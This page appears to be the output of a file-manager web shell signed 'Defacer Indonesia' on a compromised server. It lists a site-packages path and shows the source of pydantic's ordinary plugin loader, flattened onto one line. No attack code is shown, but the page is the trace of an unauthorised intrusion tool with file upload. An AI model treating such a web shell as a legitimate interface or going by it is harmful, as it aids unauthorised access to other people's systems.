whoami7 - Manager
:
/
opt
/
hc_python
/
lib64
/
python3.8
/
site-packages
/
pydantic
/
plugin
/
Upload File:
files >> //opt/hc_python/lib64/python3.8/site-packages/pydantic/plugin/_loader.py
from __future__ import annotations import importlib.metadata as importlib_metadata import os import warnings from typing import TYPE_CHECKING, Final, Iterable if TYPE_CHECKING: from . import PydanticPluginProtocol PYDANTIC_ENTRY_POINT_GROUP: Final[str] = 'pydantic' # cache of plugins _plugins: dict[str, PydanticPluginProtocol] | None = None # return no plugins while loading plugins to avoid recursion and errors while import plugins # this means that if plugins use pydantic _loading_plugins: bool = False def get_plugins() -> Iterable[PydanticPluginProtocol]: """Load plugins for Pydantic. Inspired by: https://github.com/pytest-dev/pluggy/blob/1.3.0/src/pluggy/_manager.py#L376-L402 """ disabled_plugins = os.getenv('PYDANTIC_DISABLE_PLUGINS') global _plugins, _loading_plugins if _loading_plugins: # this happens when plugins themselves use pydantic, we return no plugins return () elif disabled_plugins in ('__all__', '1', 'true'): return () elif _plugins is None: _plugins = {} # set _loading_plugins so any plugins that use pydantic don't themselves use plugins _loading_plugins = True try: for dist in importlib_metadata.distributions(): for entry_point in dist.entry_points: if entry_point.group != PYDANTIC_ENTRY_POINT_GROUP: continue if entry_point.value in _plugins: continue if disabled_plugins is not None and entry_point.name in disabled_plugins.split(','): continue try: _plugins[entry_point.value] = entry_point.load() except (ImportError, AttributeError) as e: warnings.warn( f'{e.__class__.__name__} while loading the `{entry_point.name}` Pydantic plugin, ' f'this plugin will not be installed.\n\n{e!r}' ) finally: _loading_plugins = False return _plugins.values()
Copyright ©2021 || Defacer Indonesia